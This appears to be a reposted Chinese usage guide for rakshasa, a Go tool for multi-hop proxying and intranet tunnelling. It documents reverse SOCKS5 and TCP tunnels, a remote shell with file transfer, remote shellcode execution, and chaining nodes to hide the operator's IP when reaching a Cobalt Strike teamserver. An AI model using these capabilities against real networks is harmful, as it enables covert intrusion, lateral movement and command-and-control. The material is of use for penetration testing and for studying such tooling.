目录导航
rakshasa简介
rakshasa是一个使用Go语言编写的强大多级代理工具,专为实现多级代理,内网穿透而设计。它可以在节点群里面任意两个节点之间转发TCP请求和响应,同时支持socks5代理,http代理,并且可以引入外部http、socks5代理池,自动切换请求IP。
节点之间使用内置证书的TLS加密TCP通讯,再叠加一层自定义秘钥的AES加密,可以在所有Go支持的平台使用。可以在你所有的的Windows和Linux服务器上搭建节点并组成节点群网络。
功能列表
- 自动实现多层代理
- 支持Tcp转发代理。
- 支持Tcp反向代理
- 支持Socks5代理 (包含UDP和TCP6)
- 支持Socks5反向代理
- 支持HTTP代理 (爬虫利器,流量出口支持代理池)
- 去中心化。
- 支持多个节点连接。
- 支持配置文件,可以配置代理服务器的端口、目标服务器的地址和端口、证书文件等信息。
- 支持日志记录,记录代理服务器的请求和响应信息。
- CLI模式实现远程Shell。
- 执行shellcode。
项目结构
项目应按照以下结构组织:
├── aes //使用标准库crypto实现aes加密 ├── cert //证书存放目录,使用embed内嵌到二进制文件 ├── common //协议编码格式与配置文件 ├── gencert //go实现的证书生成,可以生成临时证书 ├── httppool //http代理池检测相关 ├── readline //二开以实现更强大的交互式CLI ├── readme //使用文档 ├── server //核心代码 ├──cli.go //Cli初始化 ├──config.go //保存读取config.yaml ├──conn.go //定义结构体,网络连接conn启动,监听,转发 ├──http_proxy.go //http代理 ├──lock.go //对标准库的sync.RWMutex进行二次封装,以便于开发调试时找到死锁 ├──node.go //节点代码,实现节点消息广播注册发现 ├──oder.go //排序代码 ├──raw_tcp_client.go //tcp转发的client代码 ├──raw_tcp_server.go //tcp转发的server代码 ├──remote_socks5.go //socks5反向代理 ├──shell.go //交互式CLI ├──shell_linux.go //linux系统下启动shell ├──shell_windows.go //windows系统下启动shell ├──shellcode.go //执行shellcode ├──shellcode_linux.go //暂未实现 ├──shellcode_windows.go //windows下执行shellcode ├──socks5.go //socks5正向代理 ├── main.go ├── config.yaml ├── go.mod └── go.sum
YML配置详解
程序启动时需指定-f参数来读取YML文件:
dstnode: - 192.168.1.180:8883 #可以留空,上级节点的ip端口,rakshasa没有公共节点也不会自动发现节点,需要config指定或者启动后使用命令连接其他节点 password: "" #通讯秘钥,可以额外指定秘钥,各节点除了证书需要匹配之外,秘钥也需要相同,避免二进制泄漏后被别人无脑连接 port: 8883 #监听端口 listenip: #外网ip,当某个节点掉线后,会尝试连接这个ip - 192.168.1.151 limit: false #节点掉线后的行为模式,为ture的时候,只连接dstnode指定的ip,不会连接其他节点;为false的时候,尝试连接所有已记录节点的listenip与port filename: config.yaml #yaml的文件名,执行保存config命令的时候,会将配置写入这个文件
源码下载地址
①GitHub:
Mob2003/rakshasa.zip
②云中转网盘:
yunzhongzhuan.com/#sharefile=wunLFQqD_155200
解压密码:www.ddosi.org
编译与使用
首先生成证书:
cd gencert go run main.go cd ../

也可以使用其他工具生成证书,将 server.crt 和 server.key 放到 cert 目录下。然后再编译rakshasa
go build

编译好将生成rakshasa.exe

在 Windows 下使用cmd跨平台编译 Linux 示例:
cd gencert go run main.go cd ../ set GOOS=linux go build
使用场景图示

使用方法
启动一个带CLI节点
不带任何参数即可启动:
d:\>rakshasa.exe start on port: 8883 rakshasa> rakshasa>help Commands: bind 进入bind功能 clear clear the screen config 配置管理 connect 进入connect功能 exit exit the program help display help httpproxy 进入httpProxy功能 new 与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082 ping ping 节点 print 列出所有节点 remoteshell 远程shell remotesocks5 进入remotesocks5功能 shellcode 执行shellcode socks5 进入socks5功能 rakshasa>
connect
- connect: 端口代理,本节点监听端口,并通过出口节点连接到指定的ip端口.
从本机监听一个tcp端口,将请求转发到 目标节点连接到指定ip:port,正向tcp代理
使用方法 new-connect ip:port,remote_ip:remote_port 目标节点
如 new-connect 0.0.0.0:88,192.168.1.180:8808 44b5b521-719c-4e2b-b069-ad176d8d88ba
注:连接方向从左往右,如上例子,从本节点监听0.0.0.0:88,并将连接请求通过目标节点发送到192.168.1.180:8808
list
打印出当前connect连接情况
close
关掉一个connect
使用方法,先使用list获得当前执行的connect的id,再执行 close id
rakshasa>connect rakshasa\connect>new-connect 0.0.0.0:88,192.168.1.180:8808 44b5b521-719c-4e2b-b069-ad176d8d88ba connect连接 44b5b521-719c-4e2b-b069-ad176d8d88ba 成功 rakshasa\connect>list 当前连接数量: 1 ID 2 本地端口 0.0.0.0:88 远程端口 192.168.1.180:8808 服务器uuid 44b5b521-719c-4e2b-b069-ad176d8d88ba rakshasa\connect>close 2
bind
- bind: 反向代理,出口节点监听端口,通过本节点连接到ip端口.
从指定节点启动端口监听tcp请求,通过本节点连接到指定ip端口,反向代理
使用方法 new-bind ip:port,remote_ip:remote_port 目标节点
如 new-bind 192.168.1.180:8808,0.0.0.0:88 44b5b521-719c-4e2b-b069-ad176d8d88ba
注意:与connect相反,从右往左连接,如上面例子,远程节点监听0.0.0.0:88,并将所有连接通过本节点发送到192.168.1.180:8808
list
打印出当前bind连接情况
close
关掉一个bind
使用方法,先使用list获得当前执行的bind的id,再执行 close id
rakshasa>bind rakshasa\bind>new-bind 192.168.1.180:8808,0.0.0.0:88 44b5b521-719c-4e2b-b069-ad176d8d88ba bind 启动成功 rakshasa\bind>list 当前连接数量: 1 ID 1 本地端口 192.168.1.180:8808 远程端口 0.0.0.0:88 服务器uuid 44b5b521-719c-4e2b-b069-ad176d8d88ba rakshasa\bind>close 1 rakshasa\bind>
socks5
- socks5: socks5代理,本节点启动socks5代理,通过出口节点连接目标.
以本地socks5代理服务端模式运行,通过远程节点转发代理连接到指定目标,如果远程节点为空,则为本地直接连
使用方法 new-socks5 port 目标节点
如 new-socks5 1080 57a3edbc-3120-48b3-95e3-bd712a5e2fe9
list
打印出当前socks5连接情况
close
关掉一个socks5
使用方法,先使用list获得当前执行的socks5的id,再执行 close id
rakshasa>socks5 rakshasa\socks5>print ID UUID HostName GOOS IP listenIP ----------------------------------------------------------------------------------------------------------------------------- 1 c105b8d2-77c7-462d-b0da-6d9785f77234 DESKTOP-DAAI4F1 windows x64 (localhost):8883 2 e309f028-84ae-4452-88ab-83f1deab0cf4 DESKTOP-DAAI4F1 windows x64 192.168.1.137:8884 rakshasa\socks5>new-socks5 2 socks5 start :2 本地socks5启动成功 rakshasa\socks5>list 当前监听端口数量: 1 ID 2 本地监听端口 :2 转发服务器uuid c105b8d2-77c7-462d-b0da-6d9785f77234 rakshasa\socks5>close 2 rakshasa\socks5>
remotesocks5
- remotesocks5: 反向socks5代理,目标节点启动socks5,并通过本节点连接目标.
远程节点启动socks5代理,通过本节点连接到指定目标
使用方法 new-remotesocks5 port 目标节点
如 new-remotesocks5 1080 57a3edbc-3120-48b3-95e3-bd712a5e2fe9
注:与socks5相反,是远程目标节点开启socks5,通过本节点转发输出
list
打印出当前remoteSocks5连接情况
close
关掉一个remoteSocks5
使用方法,先使用list获得当前执行的remoteSocks5的id,再执行 close id
rakshasa>remotesocks5 rakshasa\remotesocks5>print ID UUID HostName GOOS IP listenIP ----------------------------------------------------------------------------------------------------------------------------- 1 c105b8d2-77c7-462d-b0da-6d9785f77234 DESKTOP-DAAI4F1 windows x64 (localhost):8883 2 e309f028-84ae-4452-88ab-83f1deab0cf4 DESKTOP-DAAI4F1 windows x64 192.168.1.137:8884 rakshasa\remotesocks5>new-remotesocks5 1080 2 节点 2 配置信息, 1080 ,启动socks5 到 本节点 成功 rakshasa\remotesocks5>list 当前连接数量: 1 ID 1 本地端口 远程端口 :1080 服务器uuid e309f028-84ae-4452-88ab-83f1deab0cf4 rakshasa\remotesocks5>close 1 rakshasa\remotesocks5>
httpproxy
- http: http代理,本节点启动http代理,通过出口节点连接目标.
新建一个httpProxy连接,使用方法 new-httpproxy 配置字串符 目标服务器 代理池文件路径,如果远程节点为空,则为本地直接连 如
new-httpproxy admin:[email protected]:8080 127.0.0.1:8881,127.0.0.1:8882 out.txt new-httpproxy 8080 out.txt
list
打印出当前http监听情况
close
关掉一个http监听
使用方法,先使用list获得当前执行的http的id,再执行 close id
rakshasa>httpproxy rakshasa\httpproxy>new-httpproxy 8080 httpproxy start :8080 本地httpProxy启动成功 rakshasa\httpproxy>list 当前连接数量: 1 ID 1 本地端口 :8080 转发服务器uuid 6268846f-f93e-4525-ad5c-ed6b3b773478 rakshasa\httpproxy>close 1 rakshasa\httpproxy>
remoteshell
- remoteshell: 远程shell.
使用方法file 节点,如file 1,进入节点后可用cd,dir,upload,download命令
- cd 切换远程工作目录
- dir 列出当前目录下文件和文件夹信息
- upload 上传文件,两个参数,参数二可为空,用法:upload 本地文件目录 远程目录(为空传到工作目录)
- download 下载文件,两个参数,参数二可为空,用法:download 远程文件 本地目录(为空本地执行目录)
rakshasa>remoteshell rakshasa\remoteshell>file 参数错误 rakshasa\remoteshell>print ID UUID HostName GOOS IP listenIP ----------------------------------------------------------------------------------------------------------------------------- 1 12a8f492-5fff-4b75-935a-533a276d546e DESKTOP-DAAI4F1 windows x64 (localhost):8883 2 44b5b521-719c-4e2b-b069-ad176d8d88ba DESKTOP-DAAI4F1 windows x64 192.168.1.137:8884 rakshasa\remoteShell>file 2 4b5b521-719c-4e2b-b069-ad176d8d88ba d:/>help Commands: cd 切换工作目录 clear clear the screen dir 打印当前目录文件 download 下载文件 ,download 远程文件 本地目录(为空本地执行目录) exit exit the program help display help upload 上传文件 ,upload 本地文件 远程目录(为空传到工作目录) 44b5b521-719c-4e2b-b069-ad176d8d88ba d:/>
shell
使用方法shell 节点 启动参数,如shell 1 powershell。启动参数可为空
windows下默认启动cmd
linux下默认启动bash,如启动失败可尝试改为/bin/sh或者/bin/zsh等
rakshasa\remoteshell>shell 2 powershell Windows PowerShell 版权所有 (C) Microsoft Corporation。保留所有权利。 尝试新的跨平台 PowerShell https://aka.ms/pscore6 PS D:\> whoami desktop-daai4f1\administrator PS D:\> exit 请按回车键退出 rakshasa\remoteshell>
shellcode
- shellcode: windows执行shellcode,linux mac未实现.
运行shellcode,参数一为目标节点(可以为本机),参数二为shellcode代码(Base64或者Hex)或者本地文件,参数三为xor解密key,参数四为启动参数,参数五为shellcode运行等待时间
config
- config: 配置管理.
所有子功能目录下都可以执行下面三个方法 可以通过输入首字母+tab进行自动补全
new
连接一个新的服务器,参数必须是ip:port
打印出已连接的节点
ping
尝试对节点发送ping,并输出收到pong一共需要的时间
使用方法,ping id/uuid/ip:port
rakshasa>new 192.168.1.137:8884 rakshasa>print ID UUID HostName GOOS IP listenIP ----------------------------------------------------------------------------------------------------------------------------- 1 12a8f492-5fff-4b75-935a-533a276d546e DESKTOP-DAAI4F1 windows x64 (localhost):8883 2 44b5b521-719c-4e2b-b069-ad176d8d88ba DESKTOP-DAAI4F1 windows x64 192.168.1.137:8884 rakshasa>ping 2 ping 44b5b521-719c-4e2b-b069-ad176d8d88ba 0s rakshasa>ping 44b5b521-719c-4e2b-b069-ad176d8d88ba ping 44b5b521-719c-4e2b-b069-ad176d8d88ba 0s rakshasa>ping 192.168.1.137:8884 ping 44b5b521-719c-4e2b-b069-ad176d8d88ba 0s
其他启动参数说明
-nocli
在无法后台执行的情况下,启动一个不带 CLI 的节点:
nohup /root/rakshasa -nocli > /root/rakshasa.log 2>&1 & #Linux下配合nohup后台执行
-p 端口
以指定端口启动:
rakshasa -p 8883
-d ip:port,ip:port…
连接下一层代理或更多层代理,多个地址以逗号隔开,生效在最后一个 ip:port:
rakshasa -d 192.168.1.1:8883,192.168.1.2:8883,192.168.1.3:8883 -socks5 1080 #从本地1080端口启动一个socks5代理,流量通过三层转发ip最后在192.168.1.3请求目标数据
-socks5 用户名:密码@ip:端口
本地开启SOCKS5代理穿透到远程节点,可以不带-d:
rakshasa -socks5 1080 #不使用-d参数,则表示直接在本机启动一个socks5代理
-remotesocks5 端口
远程开启SOCKS5代理流量出口到本地:
rakshasa -remotesocks5 1081 -d 192.168.1.2:1080,192.168.1.3:1080 #方向从右往左(加上本机是3个节点),在192.168.1.3这台机器开启一个socks5端口1081,流量穿透到本地节点出去
-connect ip:port,remote_ip:remote_port
本地监听并转发到指定 IP 端口,使用场景为本机连接 teamserver,隐藏本机 IP:
rakshasa -connect 127.0.0.1:50050,192,168,1,2:50050 -d 192.168.1.3:1080,192.168.1.4:1080 #本机cs连接127.0.0.1:50050实际上通过1.3,1.4节点后,再连接到192.168.1.2:50050 teamserver,teamserver看到你的ip是最后一个节点的ip
-bind ip:port,remote_ip:remote_port
反向代理模式,必须配合-d使用:
rakshasa -bind 192.168.1.2:50050,0,0,0.0:50050 -d 192.168.1.3:1080,192.168.1.4:1080 #与上面相反,在最右端节点监听端口50050,流量到本机节点后,最终发往192.168.1.2,最终上线ip为本机ip
-http_proxy 用户名:密码@ip:端口
启动一个http代理,可以不使用-d,建议配合-http_proxy_pool使用代理池,自动切换代理ip:
rakshasa -http_proxy 8080 -http_proxy_pool out.txt
-password 密钥
各节点除了证书校验之外,还额外支持密钥连接,建议使用并定期更换密钥,以避免二进制泄露后被别人连上
rakshasa -password 123456
-f yaml文件
yaml文件例子,保存在启动目录下
dstnode:
- 192.168.1.180:8883
password: ""
port: 8883
listenip:
- 192.168.1.151
limit: false
filename: config.yaml
如果有启动参数将会覆盖掉yaml配置,如-d会覆盖掉dstnode
- dstnode 目标服务器 对应启动参数:-d
- password 传输秘钥 对应启动参数:-password
- port 本节点监听端口 对应启动参数:-p
- listenip 本节点监听ip 其他节点断线后,将会尝试连接此ip与上述端口,通过使用-limit来关闭额外连接功能
- limit 为true时候,除了目标服务器不会进行额外连接。默认为false,节点断线后,将会自动尝试连接所有以连接过的节点ip port。
- filename 配置文件名字,控制台save时候保存
shell使用说明
save
修改的内容不会立刻写入文件,必须通过执行save之后才会保存到filename
d
修改yaml的dstnode,使用方法 d 192.168.1.1:8883,192.168.1.2:8883
password
修改yaml的password,使用方法 password “asdlkj” 解析双引号里面内容,结果不带双引号,参数可以不包含双引号,如果需要使用双引号请输入\”
port
修改yaml的port
ip
修改yaml的listenip,可以配置多个ip,以,隔开
limit
修改yaml的limit
f
修改yaml的filename
rakshasa>config rakshasa\config>help Commands: clear clear the screen d 修改上级节点地址,格式为 ip:端口 多个节点以,隔开 注意:不会立刻连接设置节点, 当发生 节点掉线重连 时候会连接该地址 exit exit the program f 修改配置文件名,使用方法 f config.yaml help display help info 打印当前配置 ip 修改本节点连接ip,当其他节点进行额外连接时候,优先使用此ip连接, 多个ip以,隔开 limit 修改本节点Limit设置,使用方法 limit true new 与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082 password 修改通讯密码,立即生效 ping ping 节点 port 修改监听端口,立即生效 print 列出所有节点 save 保存文件 rakshasa\config>
指定配置文件启动。
-help
更多启动参数使用帮助
启动参数
- -p port
设置本地节点监听端口,默认8883
- -d 用户名:密码@ip:端口
连接到某个上级节点,多个节点以,隔开,从左到右依次往上连接,例如-d A,B,C,先连接A然后以A为跳板尝试连接B,再以B为跳板尝试连接C
- -connect ip:port,remote_ip:remote_port
tcp正向代理,本地监听ip:port,将数据通过-d服务器 发送到remote_ip:remote_port
- -bind ip:port,remote_ip:remote_port
tcp反向代理转发模式, -d服务器 监听remote_ip:remote_port,将数据通过本机节点发送到 ip:port
- -socks5 用户名:密码@ip:端口
以本地socks5代理服务端模式运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则相当于建立了一个本地socks5代理服务器
- -remotesocks5 用户名:密码@ip:端口
在-d的节点上启动一个远程socks5代理,并通过本机节点转出数据
- -http 用户名:密码@ip:端口
以本地http代理服务端模运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则相当于建立了一个本地socks5代理服务器
- -http_proxy_pool 文件路径
http代理最后一层网络出口代理池,参数为文件路径,每个代理一行,每次请求换一个代理
- -check_proxy 单个代理地址或者文件路径
检查http代理是否有效,传入参数可以是ip:port 或者文件,当前支持ipv4,并将结果保存到-check_proxy_out,可选参数-check_proxy_timeout,-check_proxy_url
- -check_proxy_out 文件路径
将有效的代理地址保存到该文件,默认为out.txt
- -check_proxy_timeout int(秒)
检查代理的超时参数
- -check_proxy_url 网址
针对指定的url作为代理池的检测目标,目标返回200ok测为检测通过,默认为https://myip.fireflysoft.net/
- -check_proxy_anonymous true|false
检测代理是否匿名,非匿名代理不保存,默认为true,必须使用默认url
- -f 文件路径
配置文件路径,为空的时候不读取
- -ip ip地址
设置本地节点指定公网ip,多个ip以,间隔
- -limit true|false
limit模式,只连接-d的服务器,不进行额外节点连接,默认为false
- -noshell
不启动shell
- -password 秘钥
通讯二次加密秘钥,可为空
- -sParam string
shellcode的运行参数
- -sTimeout int(秒)
shellcode的超时等待时间,默认3秒 (default 3)
- -sXor string
shellcode的xor解码密钥
- -shellcode string
与-d配合指定节点执行shellcode,-d参数为空则为本节点执行,可以为base64或者hex编码
7. 带参数启动使用例子
rakshasa -socks5 1080 -d 192.168.1.2:1080 // 在本地1080端口启动一个socks5,连接到192.168.1.2的节点上,流量出口位于 192,.168.1.2
rakshasa -remotesocks5 1081 -d 192.168.1.2:1080,192.168.1.3:1080 //方向从右往左(加上本机应该是3个节点),在192.168.1.3这台机器上开启一个socks5端口1081,流量穿透到本地节点出去
//本地监听并转发到指定ip端口,使用场景本机cs连接teamserver,隐藏本机ip rakshasa -connect 127.0.0.1:50050,192,168,1,2:50050 -d 192.168.1.3:1080,192.168.1.4:1080 //本机cs连接127.0.0.1:50050实际上通过1.3,1.4节点后,再连接到192.168.1.2:50050 teamserver,teamserver看到你的ip是最后一个节点的ip
//远端监听端口,流量转到本地再出去,为-connect的反向代理模式 rakshasa -bind 192.168.1.2:50050,0,0,0.0:50050 -d 192.168.1.3:1080,192.168.1.4:1080 //与上面相反,在最右端节点监听端口50050,流量到本机节点后,最终发往192.168.1.2,最终上线 IP 为本机 IP
8. 命令行CLI模式
名词介绍与使用要点
- 每个节点都会生成一个UUID,重启后UUID会改变
- 大部分子命令菜单下,都集成了 new(连接节点)、print(打印节点)、ping(测试节点延迟)功能
- 可用 print 命令,查看在当前节点下,各个节点的 ID、UUID 和 IP 端口。
- 与其他节点进行交互的时候,可以使用ID、UUID、IP:端口去操作,如:
rakshasa>print ID UUID HostName GOOS IP listenIP ----------------------------------------------------------------------------------------------------------------------------- 1 33fe3ab6-36fe-4636-b684-6f9d9e417981 DESKTOP-KP6GDI2 windows x64 192.168.1.151:8883 rakshasa>ping 1 rakshasa>ping 33fe3ab6-36fe-4636-b684-6f9d9e417981 rakshasa>ping 192.168.1.151:8883
- noCLI 不能使用命令行CLI模式
启动rakshasa,默认监听8883,执行help
start on port: 8883 rakshasa>help Commands: bind 进入bind功能 clear clear the screen config 配置管理 connect 进入connect功能 exit exit the program help display help httpProxy 进入httpProxy功能 new 与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082 ping ping 节点 print 列出所有节点 remoteShell 远程shell remoteSocks5 进入remoteSocks5功能 shellcode 执行shellcode socks5 进入socks5功能
连接到其他节点,print当前网络所有节点
rakshasa>new 127.0.0.1:8881 rakshasa>print ID UUID HostName GOOS IP listenIP ----------------------------------------------------------------------------------------------------------------------------- 1 33fe3ab6-36fe-4636-b684-6f9d9e417981 DESKTOP-KP6GDI2 windows x64 192.168.1.151:8883 2 6a6dafb7-ddc9-4da3-afd2-5423038b20ab DESKTOP-KP6GDI2 windows x64 192.168.1.151:8882 3 abc6c7aa-52d0-4a33-8688-cd2df23641cd DESKTOP-KP6GDI2 windows x64 (localhost):8883 4 e06abfdc-320e-4eb1-9545-8fdf1536fd86 DESKTOP-KP6GDI2 windows x64 192.168.1.151:8880 5 e19e6d3e-4cdf-4573-9357-d31ee33587f7 DESKTOP-KP6GDI2 windows x64 192.168.1.151:8881
测试某个节点延迟
rakshasa>ping 6a6dafb7-ddc9-4da3-afd2-5423038b20ab ping 6a6dafb7-ddc9-4da3-afd2-5423038b20ab 674µs
特别说明,如果使用UUID操作某一命令,则会自动根据网络连接情况,将消息发送到该节点 如下图例子,我们处于内网的节点A,通过ip可以连接到B公网的机器,不能连到CD,但是B和C是连通,C和D是连通的。 当我们请求D机器的时候,消息会通过B,C最终到达D,不需要特别指定。
CLI模式远程shell示例
执行remoteShell进入远程shell
rakshasa\remoteShell>help Commands: clear clear the screen exit exit the program file 连到节点进行文件管理,参数为id或者uuid help display help new 与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082 print 列出所有节点 shell 反弹shell 使用方法 shell id/uuid 启动参数 ,启动参数可为空,win默认启动cmd,linux默认启动bash, 如 shell 1 powershell 。 shell 1 zsh
连接到节点
rakshasa\remoteShell>shell feed089e-20aa-44d5-bbff-07c968a94ffc root@virtual-machine:/data/socks5/rakshasa#ls aes common config.yaml go.mod main.go readline README.md shell cert config gencert go.sum rakshasa.exe readme server root@virtual-machine:/data/socks5/rakshasa# whoami root root@virtual-machine:/data/socks5/rakshasa# uname -a Linux virtual-machine 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux root@virtual-machine:/data/socks5/rakshasa#
windows下也能执行linux的交互式命令,并正常显示,如htop
注:windows建议使用powershell,cmd下会有一些输入显示bug
CLI模式,反向代理bind示例————在远程节点上监听一个端口,转发到本地某个端口
使用方法 new-bind 本地ip:本地port,远程监听ip:远程监听port 目标节点
rakshasa\bind>new-bind 127.0.0.1:81,0.0.0.0:8808 192.168.1.180:8883 bind 启动成功 rakshasa\bind> //在远程机器(192.168.1.180:8883)上,监听0.0.0.0:8808,将所有数据,通过本地节点,发送到127.0.0.1:81,(当然也可以是内网其他电脑ip端口或者其他公网) rakshasa\bind>list 当前连接数量: 1 ID 1 本地端口 127.0.0.1:81 远程端口 0.0.0.0:8808 服务器uuid feed089e-20aa-44d5-bbff-07c968a94ffc //feed089e-20aa-44d5-bbff-07c968a94ffc是(192.168.1.180:8883)的uuid
在这个例子中,我本地启动的是一个web服务,监听的是127.0.0.1:81,hello打印的是RemoteAddr()
然后打开浏览器,输入http://192.168.1.180:8808/hello/
浏览器的请求到192.168.1.180:8808,实际经过转发后到了本地127.0.0.1:81
http代理池使用示例
D:\rakshasa>rakshasa -check_proxy in.txt 2023/03/19 19:24:55 地址 104.223.135.178:10000 通过匿名代理检测 2023/03/19 19:24:58 地址 169.55.89.6:80 通过匿名代理检测 2023/03/19 19:25:52 一共有2个代理通过检测,已保存到 out.txt D:\rakshasa>rakshasa -http_proxy_pool out.txt -http_proxy 8080 start on port: 8883 httpProxy start :8080 2023/03/19 19:23:26 httpProxy 启动成功 rakshasa>
使用curl查一下ip,请求所使用的代理每次请求都会改变
C:\Users\Administrator>curl -x http://127.0.0.1:8080 https://myip.fireflysoft.net/ 169.55.89.6 C:\Users\Administrator>curl -x http://127.0.0.1:8080 https://myip.fireflysoft.net/ 104.223.135.178
项目地址:
GitHub:
https://github.com/Mob2003/rakshasa
转载请注明出处及链接
我想要学习初步的网络攻击技术,那个朋友有好的推荐吗?
跟着怕长练习